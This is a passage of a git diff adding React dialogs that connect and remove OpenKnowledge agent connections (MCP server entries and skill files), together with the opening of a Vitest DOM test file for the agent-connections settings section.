once, then try again.`;+ case 'not-installable':+ return t`${dependent} needs ${prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps.`;+ case 'agent-undetected':+ return t`${dependent} needs ${prerequisite}, and OpenKnowledge could not find this agent on this machine.`;+ default:+ return t`${dependent} needs ${prerequisite}, and OpenKnowledge does not recognize that entry. Tick ${prerequisite} to replace it, then save again.`;+ }+ };+ return (+ <p role="alert" className="text-sm text-destructive">+ {remedyText()}+ </p>+ );+ }+ const removed = prerequisitePair(result, connection, titles, 'prerequisite-removed');+ if (removed !== null) {+ return (+ <p role="alert" className="text-sm text-destructive">+ {t`${removed.dependent} needs ${removed.prerequisite}. Turn both off, or keep both on.`}+ </p>+ );+ }+ if (result.unavailable === true) {+ return (+ <p role="alert" className="text-sm text-destructive">+ {t`Managing agent connections is unavailable in this build.`}+ </p>+ );+ }++ const detailFor = (failed: ReportedAction): string | null => {+ switch (failed.errorId) {+ case 'surface-missing':+ return t`This agent has no file of this kind on this machine yet. Open the agent once, then check again.`;+ case 'foreign-artifact':+ return t`OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format.`;+ case 'no-writer':+ case 'not-installable':+ return t`This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps.`;+ case 'dependency-failed':+ return t`This could not be set up because the MCP server entry it needs was not written.`;+ case 'write-declined':+ return t`OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again.`;+ case 'write-failed':+ case 'executor-threw':+ case 'unrecognized-outcome':+ return t`Writing this file failed. Check the OpenKnowledge log for the reason.`;+ default:+ return null;+ }+ };+ const rows = result.report.actions+ .filter((action) => action.errorId !== undefined)+ .map((failed) => ({+ key: failed.satisfierId,+ title: failedPartTitle(failed),+ managedInSkillsStudio:+ failed.errorId === 'no-writer' && failed.piece === 'skill' && failed.scope === 'user',+ detail: detailFor(failed),+ }))+ .filter((row) => row.managedInSkillsStudio || row.detail !== null);++ if (rows.length === 0) {+ return (+ <div role="alert" className="space-y-1 text-sm text-destructive">+ <p>+ <Trans>Something went wrong. Please try again.</Trans>+ </p>+ {result.error === undefined ? null : (+ <code className="block wrap-break-word font-mono text-xs opacity-80">{result.error}</code>+ )}+ </div>+ );+ }++ return (+ <div role="alert" className="space-y-2 text-sm text-destructive">+ {rows.map((row) => (+ <div key={row.key} className="space-y-1">+ {row.title === null ? null : <p className="font-medium">{row.title}</p>}+ <p>+ {row.managedInSkillsStudio ? (+ <Trans>+ Discovery skills are managed for all AI tools together. Install this one from+ Settings → Skills Studio.+ </Trans>+ ) : (+ row.detail+ )}+ </p>+ </div>+ ))}+ </div>+ );+}++function SkillSuggestion() {+ return (+ <p className="text-xs text-muted-foreground">+ <Trans>+ Without the skill the agent still works, but it loses edit attribution and the live preview.+ </Trans>+ </p>+ );+}++function PairedRowsNote({ label, action }: { label: string; action: 'connect' | 'remove' }) {+ const { t } = useLingui();+ return (+ <p className="text-sm text-muted-foreground">+ {action === 'remove'+ ? t`The terminal and desktop rows for ${label} share one setup, so removing it disconnects both.`+ : t`The terminal and desktop rows for ${label} share one setup, so connecting either connects both.`}+ </p>+ );+}++export function ConfigureConnectionDialog({+ connection,+ open,+ onOpenChange,+ onSave,+ paired = false,+}: {+ connection: AgentConnection | null;+ open: boolean;+ onOpenChange: (open: boolean) => void;+ onSave: (+ parts: ConnectionParts,+ alsoRemove?: readonly SatisfierId[],+ ) => Promise<ApplyAgentConnectionsResult>;+ paired?: boolean;+}) {+ const { i18n, t } = useLingui();+ const [draft, setDraft] = useState<ConnectionParts>(() =>+ connection === null ? EMPTY_PARTS : defaultPartsForConnection(connection),+ );+ const [baseline] = useState<ConnectionParts>(() =>+ connection === null ? EMPTY_PARTS : partsForConnection(connection),+ );+ const [saving, setSaving] = useState(false);+ const [saveFailure, setSaveFailure] = useState<ApplyAgentConnectionsResult | null>(null);+ const [sharedChoice, setSharedChoice] = useState<SharedRemovalChoice | null>(null);+ const overwriting =+ connection !== null &&+ CONNECTION_PARTS.some((part) => {+ const cell = connection.cells[part];+ return draft[part] && cell !== undefined && requiresExplicitConsent(cell.state);+ });++ function setPart(part: ConnectionPart, checked: boolean) {+ setDraft((current) => ({ ...current, [part]: checked }));+ setSharedChoice(null);+ }++ const changed = !partsEqual(draft, baseline);+ const changeCount = CONNECTION_PARTS.filter(+ (part) => connection?.cells[part] !== undefined && draft[part] !== baseline[part],+ ).length;+ const suggestSkill =+ connection !== null && !draft.projectSkill && canChangePart(connection, 'projectSkill');+ const projectParts = connection === null ? [] : presentParts(connection, 'project');+ const machineParts = connection === null ? [] : presentParts(connection, 'machine');++ return (+ <Dialog open={open} onOpenChange={(nextOpen) => !saving && onOpenChange(nextOpen)}>+ <DialogContent className="sm:max-w-lg" showCloseButton={false}>+ <DialogHeader className="gap-2">+ <DialogTitle className="flex items-center gap-2 text-lg">+ {connection ? (+ <ConnectionAgentIcon+ agentId={connection.id}+ className="size-5 text-muted-foreground"+ />+ ) : null}+ {connection?.label}+ </DialogTitle>+ <DialogDescription>+ {connection+ ? t`Choose what OpenKnowledge sets up for ${connection.label}.`+ : t`Choose what OpenKnowledge sets up.`}+ </DialogDescription>+ </DialogHeader>+ <DialogBody className="flex flex-col gap-6">+ {paired && connection ? (+ <PairedRowsNote label={connection.label} action="connect" />+ ) : null}+ {projectParts.length > 0 ? (+ <FieldSet className="gap-5">+ <FieldLegend className="flex items-center gap-2 font-mono data-[variant=legend]:text-xs uppercase tracking-wide text-muted-foreground">+ <Folder aria-hidden className="size-3.5" />+ <Trans>This project</Trans>+ <Badge variant="secondary" className="font-mono text-[10px] uppercase">+ <Trans>Recommended</Trans>+ </Badge>+ </FieldLegend>+ {projectParts.map(([part, cell]) => (+ <PartControl key={part} part={part} cell={cell} draft={draft} setPart={setPart} />+ ))}+ {suggestSkill ? <SkillSuggestion /> : null}+ </FieldSet>+ ) : null}+ {machineParts.length > 0 ? (+ <FieldSet className="gap-5">+ <FieldLegend className="flex items-center gap-2 font-mono data-[variant=legend]:text-xs uppercase tracking-wide text-muted-foreground">+ <Monitor aria-hidden className="size-3.5" />+ <Trans>This machine</Trans>+ </FieldLegend>+ {machineParts.map(([part, cell]) => (+ <PartControl key={part} part={part} cell={cell} draft={draft} setPart={setPart} />+ ))}+ </FieldSet>+ ) : null}+ {sharedChoice !== null ? (+ <SharedRemovalNote choice={sharedChoice} />+ ) : saveFailure !== null && connection !== null ? (+ <ApplyFailureAlert result={saveFailure} connection={connection} />+ ) : null}+ </DialogBody>+ <DialogFooter className="items-center">+ <p className="me-auto text-xs text-muted-foreground" aria-live="polite">+ {changeCount > 0 ? (+ <Plural value={changeCount} one="# change" other="# changes" />+ ) : null}+ </p>+ <Button+ variant="outline"+ className="font-mono uppercase"+ disabled={saving}+ onClick={() => onOpenChange(false)}+ >+ <Trans>Cancel</Trans>+ </Button>+ <Button+ variant={overwriting ? 'destructive' : 'default'}+ className="font-mono uppercase"+ disabled={+ !changed ||+ changeCount === 0 ||+ saving ||+ (sharedChoice !== null && sharedChoice.peerSatisfierIds.length === 0)+ }+ onClick={() => {+ setSaving(true);+ setSaveFailure(null);+ const widen = sharedChoice?.peerSatisfierIds;+ setSharedChoice(null);+ void onSave(draft, widen)+ .then((result) => {+ if (result.ok) {+ onOpenChange(false);+ return;+ }+ const choice =+ connection === null+ ? null+ : sharedRemovalChoice(result, connection, i18n.locale);+ if (choice === null) setSaveFailure(result);+ else setSharedChoice(choice);+ })+ .catch(() =>+ setSaveFailure({+ ok: false,+ report: { actions: [], conflicts: [], withheld: [] },+ snapshot: null,+ }),+ )+ .finally(() => setSaving(false));+ }}+ >+ {saving ? (+ <Trans>Saving</Trans>+ ) : sharedChoice !== null ? (+ <Trans>Remove for both</Trans>+ ) : overwriting ? (+ <Trans>Replace and save</Trans>+ ) : (+ <Trans>Save changes</Trans>+ )}+ </Button>+ </DialogFooter>+ </DialogContent>+ </Dialog>+ );+}++interface RemovalRow {+ cell: ConnectionCell;+ part: ConnectionPart;+ label: ReactNode;+ path: string | null;+ scope: 'project' | 'machine';+ alsoAffects: string | null;+}++function labelForPart(part: ConnectionPart): ReactNode {+ switch (part) {+ case 'projectMcp':+ return <Trans>Project MCP server</Trans>;+ case 'projectSkill':+ return <Trans>Project skill</Trans>;+ case 'globalMcp':+ return <Trans>Global MCP server</Trans>;+ case 'discoverySkill':+ return <Trans>OpenKnowledge discovery skill</Trans>;+ }+}++function removalRows(connection: AgentConnection, locale: string): RemovalRow[] {+ return CONNECTION_PARTS.flatMap((part) => {+ const cell = connection.cells[part];+ if (cell?.checked !== true) return [];+ return [+ {+ cell,+ part,+ label: labelForPart(part),+ path: cell.resolvedPath ?? connectionPathDisplay(cell.pathId),+ scope: cell.scope === 'project' ? 'project' : 'machine',+ alsoAffects:+ cell.piece === 'skill' && cell.sharedFolderWith.length > 0+ ? formatToolList(cell.sharedFolderWith.map(agentLabel), locale)+ : null,+ } satisfies RemovalRow,+ ];+ });+}++function RemovalGroup({ scope, rows }: { scope: 'project' | 'machine'; rows: RemovalRow[] }) {+ const { t } = useLingui();+ if (rows.length === 0) return null;+ return (+ <div>+ <div className="flex items-center gap-2 border-b bg-muted/60 px-3 py-2 font-mono text-xs uppercase tracking-wide text-muted-foreground">+ {scope === 'project' ? (+ <Folder aria-hidden className="size-3.5" />+ ) : (+ <Monitor aria-hidden className="size-3.5" />+ )}+ {scope === 'project' ? <Trans>This project</Trans> : <Trans>This machine</Trans>}+ </div>+ <ul className="divide-y divide-border">+ {rows.map((row) => {+ const alsoAffects = row.alsoAffects;+ return (+ <li key={row.cell.satisfierId} className="flex items-start gap-3 px-3 py-3">+ <X aria-hidden className="mt-0.5 size-4 shrink-0 text-destructive" />+ <div className="min-w-0">+ <p className="text-sm font-medium">{row.label}</p>+ {row.path === null ? null : (+ <code className="block truncate text-xs text-muted-foreground">{row.path}</code>+ )}+ {alsoAffects === null ? null : (+ <p className="text-xs text-amber-700 dark:text-amber-400">+ {t`This folder is also ${alsoAffects}'s.`}+ </p>+ )}+ </div>+ </li>+ );+ })}+ </ul>+ </div>+ );+}++function agentLabel(agentId: AgentId): string {+ const labels: Partial<Record<AgentId, string>> = EDITOR_LABELS;+ return labels[agentId] ?? agentId;+}++interface SharedRemovalChoice {+ readonly peers: string;+ readonly path: string | null;+ readonly peerSatisfierIds: readonly SatisfierId[];+}++function sharedRemovalChoice(+ result: ApplyAgentConnectionsResult,+ connection: AgentConnection,+ locale: string,+): SharedRemovalChoice | null {+ const shared = result.report.conflicts.filter(+ (conflict): conflict is PlanConflict => conflict.kind === 'unresolved-shared-copy',+ );+ const own = new Set(Object.values(connection.cells).map((cell) => cell.satisfierId));+ const peerSatisfierIds = [...new Set(shared.flatMap((conflict) => conflict.satisfierIds))].filter(+ (id) => !own.has(id),+ );+ const peerAgentIds = [...new Set(shared.flatMap((conflict) => conflict.agentIds))].filter(+ (id) => id !== connection.id,+ );+ if (peerSatisfierIds.length === 0 && peerAgentIds.length === 0) return null;+ const paths = [+ ...new Set(+ shared+ .map((conflict) => connectionPathDisplay(conflict.pathId))+ .filter((path): path is string => path !== null),+ ),+ ];+ return {+ peers: formatToolList(peerAgentIds.map(agentLabel), locale),+ path: paths.length === 1 ? paths[0] : null,+ peerSatisfierIds,+ };+}++function SharedRemovalNote({ choice }: { choice: SharedRemovalChoice }) {+ const { peers, path } = choice;+ if (choice.peerSatisfierIds.length === 0) {+ return (+ <div role="status" className="rounded-md border bg-muted/50 p-3 text-sm">+ <Trans>+ This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink+ the folder in Skills Studio first.+ </Trans>+ </div>+ );+ }+ return (+ <div role="status" className="rounded-md border bg-muted/50 p-3 text-sm">+ {path === null ? (+ <Trans>+ This setup is shared with {peers}. Removing it here removes it for {peers} too.+ </Trans>+ ) : (+ <Trans>+ This setup is shared with {peers} through <code className="font-mono">{path}</code>.+ Removing it here removes it for {peers} too.+ </Trans>+ )}+ </div>+ );+}++export function RemoveConnectionDialog({+ connection,+ open,+ onOpenChange,+ onRemove,+ paired = false,+}: {+ connection: AgentConnection | null;+ open: boolean;+ onOpenChange: (open: boolean) => void;+ onRemove: (alsoRemove?: readonly SatisfierId[]) => Promise<ApplyAgentConnectionsResult>;+ paired?: boolean;+}) {+ const { i18n, t } = useLingui();+ const [removing, setRemoving] = useState(false);+ const [removeFailure, setRemoveFailure] = useState<ApplyAgentConnectionsResult | null>(null);+ const [sharedChoice, setSharedChoice] = useState<SharedRemovalChoice | null>(null);+ const rows = connection ? removalRows(connection, i18n.locale) : [];++ function submit(alsoRemove?: readonly SatisfierId[]) {+ if (connection === null) return;+ setRemoving(true);+ setRemoveFailure(null);+ setSharedChoice(null);+ void onRemove(alsoRemove)+ .then((result) => {+ if (result.ok) {+ onOpenChange(false);+ return;+ }+ const choice = sharedRemovalChoice(result, connection, i18n.locale);+ if (choice === null) setRemoveFailure(result);+ else setSharedChoice(choice);+ })+ .catch((err: unknown) =>+ setRemoveFailure({+ ok: false,+ report: { actions: [], conflicts: [], withheld: [] },+ snapshot: null,+ error: err instanceof Error ? err.message : String(err),+ }),+ )+ .finally(() => setRemoving(false));+ }+ return (+ <AlertDialog open={open} onOpenChange={(nextOpen) => !removing && onOpenChange(nextOpen)}>+ <AlertDialogContent className="sm:max-w-lg">+ <AlertDialogHeader className="gap-2">+ <AlertDialogTitle className="flex items-center gap-2 text-lg">+ {connection ? (+ <ConnectionAgentIcon+ agentId={connection.id}+ className="size-5 text-muted-foreground"+ />+ ) : null}+ {connection+ ? t`Remove OpenKnowledge from ${connection.label}?`+ : t`Remove OpenKnowledge?`}+ </AlertDialogTitle>+ <AlertDialogDescription>+ <Trans>+ This deletes the MCP server entries and skill files listed below. The agent will lose+ access to your documents until you add it again.+ </Trans>+ </AlertDialogDescription>+ </AlertDialogHeader>+ <AlertDialogBody className="flex flex-col gap-4">+ <div className="overflow-hidden rounded-lg border">+ <RemovalGroup scope="project" rows={rows.filter((row) => row.scope === 'project')} />+ <RemovalGroup scope="machine" rows={rows.filter((row) => row.scope === 'machine')} />+ </div>+ {paired && connection ? (+ <PairedRowsNote label={connection.label} action="remove" />+ ) : null}+ <p className="text-sm text-muted-foreground">+ <Trans>Your documents are not touched.</Trans>+ </p>+ {sharedChoice !== null ? (+ <SharedRemovalNote choice={sharedChoice} />+ ) : removeFailure !== null && connection !== null ? (+ <ApplyFailureAlert result={removeFailure} connection={connection} />+ ) : null}+ </AlertDialogBody>+ <AlertDialogFooter>+ <AlertDialogCancel disabled={removing}>+ <Trans>Cancel</Trans>+ </AlertDialogCancel>+ <AlertDialogAction+ variant="destructive"+ className="font-mono uppercase"+ disabled={+ removing ||+ rows.length === 0 ||+ (sharedChoice !== null && sharedChoice.peerSatisfierIds.length === 0)+ }+ onClick={(event) => {+ event.preventDefault();+ submit(sharedChoice?.peerSatisfierIds);+ }}+ >+ {removing ? (+ <Trans>Saving</Trans>+ ) : sharedChoice !== null && sharedChoice.peerSatisfierIds.length > 0 ? (+ <Trans>Remove for both</Trans>+ ) : (+ <Trans>Remove</Trans>+ )}+ </AlertDialogAction>+ </AlertDialogFooter>+ </AlertDialogContent>+ </AlertDialog>+ );+}++export function intentsForParts(+ connection: AgentConnection,+ parts: ConnectionParts,+ alsoRemove: readonly SatisfierId[] = [],+): ApplyIntent[] {+ const baseline = partsForConnection(connection);+ const peerIntents = alsoRemove.map(+ (id) => ({ satisfierId: id, desired: 'absent' }) satisfies ApplyIntent,+ );+ return [+ ...peerIntents,+ ...CONNECTION_PARTS.flatMap((part) => {+ const cell = connection.cells[part];+ if (cell === undefined || parts[part] === baseline[part]) return [];+ return [+ {+ satisfierId: cell.satisfierId,+ desired: parts[part] ? 'present' : 'absent',+ } satisfies ApplyIntent,+ ];+ }),+ ];+}++export function removalIntents(+ connection: AgentConnection,+ alsoRemove: readonly SatisfierId[] = [],+): ApplyIntent[] {+ const parts = partsForConnection(connection);+ const desired = Object.fromEntries(+ CONNECTION_PARTS.map((part) => [part, connection.cells[part] ? false : parts[part]]),+ ) as unknown as ConnectionParts;+ const peerIntents = alsoRemove.map(+ (id) => ({ satisfierId: id, desired: 'absent' }) satisfies ApplyIntent,+ );+ return [...intentsForParts(connection, desired), ...peerIntents];+}diff --git a/packages/app/src/components/settings/AgentConnectionsSection.dom.test.tsx b/packages/app/src/components/settings/AgentConnectionsSection.dom.test.tsxnew file mode 100644index 000000000..02eca3279--- /dev/null+++ b/packages/app/src/components/settings/AgentConnectionsSection.dom.test.tsx@@ -0,0 +1,1368 @@+import {+ AGENT_REGISTRY,+ type AgentId,+ type ApplyIntent,+ agentIdForHandoffTarget,+ agentIdForTerminalCli,+ CONNECTION_ROW_AGENT_IDS,+ type HostSnapshot,+ type InstallState,+ type SatisfierId,+ TERMINAL_CLI_IDS,+ VISIBLE_HANDOFF_TARGETS,+} from '@inkeep/open-knowledge-core';+import * as actualLinguiMacro from '@lingui/react/macro';+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';+import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';+import userEvent from '@testing-library/user-event';+import type { ReactNode } from 'react';+import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';+import { TooltipProvider } from '@/components/ui/tooltip';+import type { AgentCatalog } from '@/lib/acp/catalog';+import type { ApplyAgentConnectionsResult } from '@/lib/agent-connections';+import { renderLinguiTemplate } from '@/test-utils/lingui-mock';++const backing = new Map<string, string>();+if (typeof globalThis.localStorage === 'undefined') {+ (globalThis as { localStorage?: unknown }).localStorage = {+ getItem: (key: string) => backing.get(key) ?? null,+ setItem: (key: string, value: string) => void backing.set(key, value),+ removeItem: (key: string) => void backing.delete(key),+ clear: () => backing.clear(),+ };+}++vi.doMock('@lingui/react/macro', () => ({+ ...actualLinguiMacro,+ Plural: ({ value, one, other }: { value: number; one: string; other: string }) => (+ <>{(value === 1 ? one : other).replace('#', String(value))}</>+ ),+ Trans: ({ children }: { children?: ReactNode }) => <>{children}</>,+ useLingui: () => ({+ i18n: { locale: 'en' },+ t: renderLinguiTemplate,+ }),+}));++const catalog: AgentCatalog = {+ agents: [+ {+ id: 'claude-acp',+ name: 'Claude Agent',+ version: '1',+ source: 'registry',+ supported: true,+ featured: true,+ harness: { cli: 'claude', availability: 'unknown', credentials: 'unknown' },+ },+ {+ id: 'opencode-acp',+ name: 'OpenCode',+ version: '1',+ source: 'registry',+ supported: false,+ featured: false,+ harness: { cli: 'opencode', availability: 'not-found', credentials: 'unknown' },+ },+ {+ id: 'cline',+ name: 'Cline',+ version: '1',+ source: 'registry',+ supported: true,+ featured: false,+ description: 'Autonomous coding agent',+ },+ {+ id: 'cursor',+ name: 'Cursor',+ version: '1',+ source: 'registry',+ supported: true,+ featured: false,+ description: 'ACP wrapper for Cursor',+ license: 'Apache-2.0',+ harness: { cli: 'cursor', availability: 'not-found', credentials: 'unknown' },+ },+ {+ id: 'gemini',+ name: 'Gemini',+ version: '1',+ source: 'registry',+ supported: true,+ featured: false,+ description: 'ACP wrapper for Gemini',+ harness: { cli: 'pi', availability: 'present', credentials: 'unknown' },+ },+ ],+ stale: false,+ maxThreads: 8,+};+let fetchCatalog: () => Promise<typeof catalog> = () => Promise.resolve(catalog);+vi.doMock('@/lib/acp/catalog', async (importOriginal) => ({+ ...(await importOriginal<typeof import('@/lib/acp/catalog')>()),+ fetchAgentCatalog: () => fetchCatalog(),+}));++let states: Record<string, InstallState> = {};+vi.doMock('@/components/handoff/useInstalledAgents', () => ({+ useInstalledAgents: () => ({ states, refresh: () => Promise.resolve() }),+}));++let terminalLaunchValue: { installedClis: Record<string, boolean> } | null = null;+vi.doMock('@/components/handoff/TerminalLaunchContext', () => ({+ useTerminalLaunch: () => terminalLaunchValue,+}));++vi.doMock('@/components/handoff/OpenInAgentMenuItem', () => ({+ TargetIcon: ({ id }: { id: string }) => <svg data-testid={`target-icon-${id}`} aria-hidden />,+}));+vi.doMock('@/components/acp/RegisteredAgentIcon', () => ({+ RegisteredAgentIcon: () => <svg data-testid="registered-agent-icon" aria-hidden />,+}));++import { reloadEnabledAgentsFromStorage } from '@/lib/acp/enabled-agents';+import {+ getDefaultRegisteredAgent,+ registerAgent,+ reloadRegisteredAgentsFromStorage,+} from '@/lib/acp/registered-agents';++const { AgentConnectionsSection } = await import('./AgentConnectionsSection');++const STORAGE_KEY = 'ok-acp-enabled-agents-v1';++function overrides(): Record<string, boolean> {+ return JSON.parse(localStorage.getItem(STORAGE_KEY) ?? '{}');+}++const EMPTY_REPORT = { actions: [], conflicts: [], withheld: [] };++const DETECTED_CONNECTABLE: AgentId[] = ['claude', 'codex', 'cursor', 'opencode'];++function diskSatisfierIds(agentId: AgentId): SatisfierId[] {+ return AGENT_REGISTRY[agentId].satisfiers+ .filter((satisfier) => satisfier.scope !== 'session')+ .map((satisfier) => satisfier.id);+}++function satisfierId(+ agentId: AgentId,+ piece: 'mcp' | 'skill',+ scope: 'project' | 'user',+): SatisfierId {+ const id = AGENT_REGISTRY[agentId].satisfiers.find(+ (satisfier) => satisfier.piece === piece && satisfier.scope === scope,+ )?.id;+ if (id === undefined) throw new Error(`missing ${agentId}:${piece}:${scope}`);+ return id;+}++function snapshotWith(installed: readonly SatisfierId[] = []): HostSnapshot {+ const installedIds = new Set<string>(installed);+ const satisfiers = Object.fromEntries(+ Object.values(AGENT_REGISTRY).flatMap((agent) =>+ agent.satisfiers+ .filter((satisfier) => satisfier.probe.mode === 'probeable')+ .map((satisfier) => [+ satisfier.id,+ { state: installedIds.has(satisfier.id) ? 'satisfied' : 'absent' },+ ]),+ ),+ );+ return {+ probes: { env: 'desktop', satisfiers },+ detection: { detected: DETECTED_CONNECTABLE, probed: true },+ };+}++function partiallyUnprobedSnapshot(agentId: AgentId): HostSnapshot {+ const unprobed = new Set<string>(diskSatisfierIds(agentId));+ const base = snapshotWith([]);+ return {+ ...base,+ probes: {+ ...base.probes,+ satisfiers: Object.fromEntries(+ Object.entries(base.probes.satisfiers).map(([id, cell]) => [+ id,+ unprobed.has(id) ? { state: 'unprobed' } : cell,+ ]),+ ),+ },+ };+}++function result(snapshot: HostSnapshot | null, ok = true): ApplyAgentConnectionsResult {+ return { ok, report: EMPTY_REPORT, snapshot };+}++function terminalRow(cli: string): HTMLElement {+ const row = screen.getByTestId(`configure-agents-terminal-${cli}`).parentElement?.parentElement;+ if (!row) throw new Error(`no row for ${cli}`);+ return row;+}++function renderSection(+ applyConnections: (+ intents: readonly ApplyIntent[],+ ) => Promise<ApplyAgentConnectionsResult> = async () => result(null),+) {+ const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });+ render(+ <QueryClientProvider client={client}>+ <TooltipProvider>+ <AgentConnectionsSection applyConnections={applyConnections} />+ </TooltipProvider>+ </QueryClientProvider>,+ );+}++beforeEach(() => {+ localStorage.clear();+ reloadRegisteredAgentsFromStorage();+ reloadEnabledAgentsFromStorage();+ fetchCatalog = () => Promise.resolve(catalog);+ states = { 'claude-code': { installed: true }, codex: { installed: false } } as Record<+ string,+ InstallState+ >;+});++afterEach(() => cleanup());++async function expandInApp(): Promise<void> {+ fireEvent.click(await screen.findByTestId('configure-agents-in-app-show-more'));+}++function groupOrder(): string[] {+ return screen.getAllByRole('heading', { level: 4 }).map((h) => h.textContent?.trim() ?? '');+}++describe('AgentConnectionsSection', () => {+ test('renders all three groups on the web host, Terminal last with nothing to back it', async () => {+ renderSection();+ await waitFor(() => expect(screen.getByText('Claude Agent')).toBeTruthy());+ expect(screen.getByText('In app')).toBeTruthy();+ expect(screen.getByText('External apps')).toBeTruthy();+ expect(screen.getByText('Terminal')).toBeTruthy();+ expect(groupOrder()).toEqual(['In app', 'External apps', 'Terminal']);+ });++ test('the In app heading is the plain group name — no feature-Beta badge', async () => {+ renderSection();+ await waitFor(() => expect(screen.getByText('Claude Agent')).toBeTruthy());+ expect(groupOrder()).toEqual(['In app', 'External apps', 'Terminal']);+ expect(screen.queryByText('Beta')).toBeNull();+ });++ test('a platform-unsupported in-app agent renders disabled', async () => {+ renderSection();+ await expandInApp();+ const toggle = await screen.findByTestId('configure-agents-in-app-registry:opencode-acp');+ expect(toggle.getAttribute('data-disabled')).toBe('');+ });++ test('a row shows the catalog description as its subtitle, never the license or an install signal', async () => {+ renderSection();+ await expandInApp();+ expect(await screen.findByText('ACP wrapper for Cursor')).toBeTruthy();+ expect(screen.getByText('ACP wrapper for Gemini')).toBeTruthy();+ expect(screen.queryByText('Apache-2.0')).toBeNull();+ });++ test('a present harness defaults on and a not-found one defaults off (toggle still operable)', async () => {+ renderSection();+ const present = await screen.findByTestId('configure-agents-in-app-registry:gemini');+ await expandInApp();+ const notFound = await screen.findByTestId('configure-agents-in-app-registry:cursor');+ expect(present.getAttribute('aria-checked')).toBe('true');+ expect(notFound.getAttribute('aria-checked')).toBe('false');+ expect(notFound.getAttribute('data-disabled')).toBeNull();+ });++ test('an existing sign-in detects an agent whose CLI is not on PATH', async () => {+ const cursor = catalog.agents.find((a) => a.id === 'cursor');+ const restore = cursor?.harness?.credentials;+ if (cursor?.harness) cursor.harness.credentials = 'present';+ try {+ renderSection();+ const row = await screen.findByTestId('configure-agents-in-app-registry:cursor');+ expect(row.getAttribute('aria-checked')).toBe('true');+ expect(screen.getByText('ACP wrapper for Cursor')).toBeTruthy();+ } finally {+ if (cursor?.harness && restore) cursor.harness.credentials = restore;+ }+ });++ test('collapses to agents the probe has not ruled out, with a Show more toggle for the rest', async () => {+ renderSection();+ await screen.findByText('Claude Agent');+ expect(screen.getByText('ACP wrapper for Gemini')).toBeTruthy();+ expect(screen.queryByText('ACP wrapper for Cursor')).toBeNull();+ expect(screen.queryByText('Cline')).toBeNull();+ const toggle = screen.getByTestId('configure-agents-in-app-show-more');+ expect(toggle.textContent).toContain('Show 3 more');++ fireEvent.click(toggle);++ expect(screen.getByText('Cline')).toBeTruthy();+ expect(screen.getByText('ACP wrapper for Cursor')).toBeTruthy();+ expect(toggle.textContent).toContain('Show less');+ });++ test('an agent the probe ruled out stays above the fold once the user enables it', async () => {+ localStorage.setItem(STORAGE_KEY, JSON.stringify({ 'in-app:registry:cursor': true }));+ reloadEnabledAgentsFromStorage();+ renderSection();++ expect(await screen.findByText('ACP wrapper for Cursor')).toBeTruthy();+ expect(screen.getByTestId('configure-agents-in-app-show-more').textContent).toContain(+ 'Show 2 more',+ );+ });++ test('expanding pins present agents on top and sorts the rest alphabetically', async () => {+ renderSection();+ await screen.findByText('Claude Agent');+ await expandInApp();+ const inApp = within(+ document.querySelector<HTMLElement>(+ 'section[aria-labelledby="settings-configure-agents-in-app"]',+ ) as HTMLElement,+ );+ const names = inApp+ .getAllByText(/^(Claude Agent|Gemini|Cursor|OpenCode|Cline)$/)+ .map((n) => n.textContent ?? '');++ const primary = names.slice(0, 2);+ expect(primary).toContain('Claude Agent');+ expect(primary).toContain('Gemini');++ const tail = names.slice(2);+ expect(tail).toEqual([...tail].sort((a, b) => a.localeCompare(b)));+ expect(tail).toContain('Cline');+ });++ test('a group with something installed sorts above one with nothing', async () => {+ const gemini = catalog.agents.find((a) => a.id === 'gemini');+ const claude = catalog.agents.find((a) => a.id === 'claude-acp');+ const restore = { g: gemini?.harness?.availability, c: claude?.harness?.availability };+ if (gemini?.harness) gemini.harness.availability = 'not-found';+ if (claude?.harness) claude.harness.availability = 'not-found';+ try {+ renderSection();+ await screen.findByTestId('configure-agents-in-app-show-more');+ expect(groupOrder()).toEqual(['External apps', 'In app', 'Terminal']);+ } finally {+ if (gemini?.harness && restore.g) gemini.harness.availability = restore.g;+ if (claude?.harness && restore.c) claude.harness.availability = restore.c;+ }+ });++ test('a credentials-only agent lifts the In app group above one with nothing', async () => {+ const patched = catalog.agents.filter((a) => a.harness !== undefined);+ const restore = patched.map((a) => ({ a, ...a.harness }));+ for (const a of patched) {+ if (a.harness) a.harness.availability = 'not-found';+ }+ const cursor = catalog.agents.find((a) => a.id === 'cursor');+ if (cursor?.harness) cursor.harness.credentials = 'present';+ try {+ renderSection();+ await screen.findByText('ACP wrapper for Cursor');+ expect(groupOrder()).toEqual(['In app', 'External apps', 'Terminal']);+ } finally {+ for (const r of restore) {+ if (r.a.harness && r.availability && r.credentials) {+ r.a.harness.availability = r.availability;+ r.a.harness.credentials = r.credentials;+ }+ }+ }+ });++ test('groups keep their declared order when both have something present', async () => {+ renderSection();+ await screen.findByText('Claude Agent');+ expect(groupOrder()).toEqual(['In app', 'External apps', 'Terminal']);+ });++ test('an external-apps group whose probe has not answered does NOT claim presence', async () => {+ states = {};+ const gemini = catalog.agents.find((a) => a.id === 'gemini');+ const claude = catalog.agents.find((a) => a.id === 'claude-acp');+ const restore = { g: gemini?.harness?.availability, c: claude?.harness?.availability };+ if (gemini?.harness) gemini.harness.availability = 'not-found';+ if (claude?.harness) claude.harness.availability = 'not-found';+ try {+ renderSection();+ await screen.findByTestId('configure-agents-in-app-show-more');+ expect(groupOrder()).toEqual(['In app', 'Terminal', 'External apps']);+ } finally {+ if (gemini?.harness && restore.g) gemini.harness.availability = restore.g;+ if (claude?.harness && restore.c) claude.harness.availability = restore.c;+ }+ });++ test('a failed catalog holds the In app group in place rather than sinking it', async () => {+ fetchCatalog = () => Promise.reject(new Error('catalog unreachable'));+ renderSection();+ await screen.findByText(/Couldn't reach the agent registry/i);+ expect(groupOrder()).toEqual(['In app', 'External apps', 'Terminal']);+ });++ test('a group whose every member is positively absent still sorts down', async () => {+ states = { 'claude-code': { installed: false }, codex: { installed: false } } as Record<+ string,+ InstallState+ >;+ renderSection();+ await screen.findByText('Claude Agent');+ expect(groupOrder()).toEqual(['In app', 'Terminal', 'External apps']);+ });++ test('the In app group does not sort down and jump back while its catalog loads', async 